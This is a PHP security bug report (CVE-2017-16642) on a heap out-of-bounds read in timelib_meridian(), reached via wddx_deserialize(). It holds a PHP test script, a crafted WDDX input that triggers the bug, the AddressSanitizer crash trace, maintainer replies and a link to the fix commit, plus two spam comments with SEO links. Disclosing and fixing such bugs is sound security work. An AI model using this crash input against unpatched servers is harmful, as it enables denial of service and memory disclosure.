PHP :: Sec Bug #75055 :: Out-Of-Bounds Read in timelib

Sec Bug #75055	Out-Of-Bounds Read in timelib_meridian()
Submitted:	2017-08-09 14:26 UTC	Modified:	2017-12-06 12:16 UTC
From:	l dot wei at ntu dot edu dot sg	Assigned:	derick (profile)
Status:	Closed	Package:	Date/time related
PHP Version:	7.1.8	OS:	*
Private report:	No	CVE-ID:	2017-16642

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[2017-08-09 14:26 UTC] l dot wei at ntu dot edu dot sg

Description:
------------
A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs.

$ ~/php-7.1.8/sapi/cli/php --version
PHP 7.1.8 (cli) (built: Aug  9 2017 21:42:13) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies

Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx

Credit:
Wei Lei and Liu Yang of Nanyang Technological University

Test script:
---------------
$ cat wddx.php 
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

$dir_str = dirname(__FILE__);

$file_str = ($dir_str)."/".$argv[1];

if (!extension_loaded('wddx')) print "wddx not loaded.\n";

$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";

var_dump(wddx_deserialize($wddx_str));
?>

$ cat repro2.wddx 
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
	<data>
        	<struct>
                    <var name='aDateTime'>
                         <dateTime>frONt of 0 0</dateTime>
                     </var>
                </struct>
	</data>
</wddxPacket>

Expected result:
----------------
NO CRASH

Actual result:
--------------
$ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx 
309 bytes read.
=================================================================
==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc
READ of size 1 at 0xb57057fc thread T0
    #0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410
    #1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228
    #2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
    #3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
    #4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
    #5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
    #6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
    #10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
    #11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
    #12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
    #13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
    #14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
    #15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
    #16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
    #17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
    #18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
    #19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
    #20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230)
0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc)
allocated by thread T0 here:
    #0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
    #1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820
    #2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413
    #3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472
    #4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495
    #5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460
    #6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215
    #7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
    #8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
    #9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
    #10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
    #11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
    #15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
    #16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
    #17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
    #18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
    #19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
    #20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
    #21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
    #22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
    #23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
    #24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
  0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04]
  0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==13788== ABORTING
Aborted

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[2017-08-09 14:30 UTC] l dot wei at ntu dot edu dot sg

This is a different bug than #74819 and #73109.

[2017-08-09 14:46 UTC] derick@php.net

I can confirm this. Will look at making a patch ASAP.

[2017-08-13 19:44 UTC] cmb@php.net

-Assigned To: +Assigned To: derick

[2017-08-13 20:11 UTC] derick@php.net

It's on my to do list for tomorrow.

[2017-10-15 22:30 UTC] stas@php.net

Anything happened with this?

[2017-10-17 14:31 UTC] cmb@php.net

This might be a duplicate of bug #72959.

[2017-10-17 15:33 UTC] derick@php.net

Fixed with this commit:

https://github.com/derickr/timelib/commit/aa9156006e88565e1f1a5f7cc088b18322d57536

[2017-10-24 06:08 UTC] stas@php.net

@derick Is this going to be merged to 5.6/7.x anytime soon? What is the schedule for merging timelib updates into core?

[2017-10-27 18:04 UTC] ab@php.net

-Status: Assigned +Status: Closed

[2017-10-27 18:04 UTC] ab@php.net

Thank you for your bug report. This issue has already been fixed
in the latest released version of PHP, which you can download at 
http://www.php.net/downloads.php

[2017-11-01 03:36 UTC] l dot wei at ntu dot edu dot sg

Is this issue a duplicate of bug #72959 ? I can not access the said report.

[2017-11-08 12:13 UTC] marjan at gmail dot com

<a href="http://jahansite.com">خدمات سئو</a>
<a href="http://aranosaze.com">روف گاردن</a>

[2017-12-06 05:14 UTC] L dot Wei at ntu dot edu dot sg

Please use CVE-2017-16642 to reference this issue.

[2017-12-06 12:16 UTC] kaplan@php.net

-CVE-ID: +CVE-ID: 2017-16642

[2017-12-24 09:04 UTC] marhr at gmail dot com

thanks
http://parsesaz.com/

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